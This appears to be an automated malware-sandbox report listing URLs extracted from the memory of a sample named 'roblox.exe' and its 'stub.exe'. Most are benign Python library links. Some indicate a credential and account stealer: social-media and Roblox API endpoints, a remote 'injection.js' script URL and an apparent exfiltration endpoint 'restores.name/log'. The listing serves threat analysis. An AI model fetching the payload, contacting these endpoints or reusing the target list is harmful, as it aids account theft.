Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-profile/customizi
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569713444.0000028959589000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/asyncio-eventloop.html
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://economy.roblox.com/v1/users/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filepreviews.io/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2573379451.0000028959DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2566816357.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2573560202.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572284099.0000028959710000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/aio-libs/aiohttp/discussions/6044
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2575588410.000002895A948000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/8996
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE55C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/9253
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/blob/main/.github/CONTRIBUTING.md)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1328)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1329)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1330)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/136
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.00000289598FD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2232354797.00000289598FD000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000003.2569364627.00000289598FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/251
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569364627.0000028959959000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572696250.0000028959959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/428
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/wiki/Extensions-to-attrs)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2566816357.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2573560202.000002895A0E5000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2572284099.0000028959710000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/28073
Source: stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/hynek
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/hynek).
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gql.twitch.tv/gql
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://gql.twitch.tv/gqlT
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hynek.me/articles/import-attrs/)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=true
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=trueuhttps://i.instagram.com/api/v1/users
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/users/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://instagram.com/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klaviyo.com/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2567659423.00000289595C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577226555.00007FF6AD83C000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://nuitka.net/info/segfault.html
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/me
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://oauth.reddit.com/api/v1/meuNo
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://open.spotify.com/user/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://open.spotify.com/user/u
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://packaging.python.org/specifications/entry-points/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0649/)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peps.python.org/pep-0749/)-implementing
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pypi.org/project/attrs/)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AE1D2000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2581607529.00007FF8A8E13000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: https://python.org/dev/peps/pep-0263/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571250340.0000028957720000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforMonster/injection/main/injection.js
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://raw.githubusercontent.com/justforMonster/injection/main/injection.jsanulluMain.GetInjectionC
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://restores.name/log
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://restores.name/logaOKJ86FM1CLE9MMZg
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/questions/tagged/python-attrs)
Source: stub.exe, 00000003.00000002.2573379451.0000028959DD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: stub.exe, 00000003.00000002.2575891839.000002895A9D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar?userIds=
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek).
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tiktok.com/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/home
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571449255.0000028959310000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.json
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.jsonareqadescriptionuThere
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://twitter.com/u
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp	String found in binary or memory: https://twitter.comarefereruhttps://twitter.com/homeusec-fetch-destaemptyusec-fetch-modeacorsusec-fe
Source: stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000002.2571250340.0000028957720000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap
Source: stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/FilePreviews.svg
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Klaviyo.svg
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Tidelift.svg
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Variomedia.svg
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/names.html)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html
Source: stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/comparison.html#customization)
Source: roblox.exe, 00000000.00000003.2221867943.000001B2AD2ED000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2577492914.00007FF6AD8CF000.00000002.00000001.01000000.00000004.sdmp, stub.exe, 00000003.00000003.2569240290.0000028957606000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000003.00000002.2571170596.0000028957606000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)
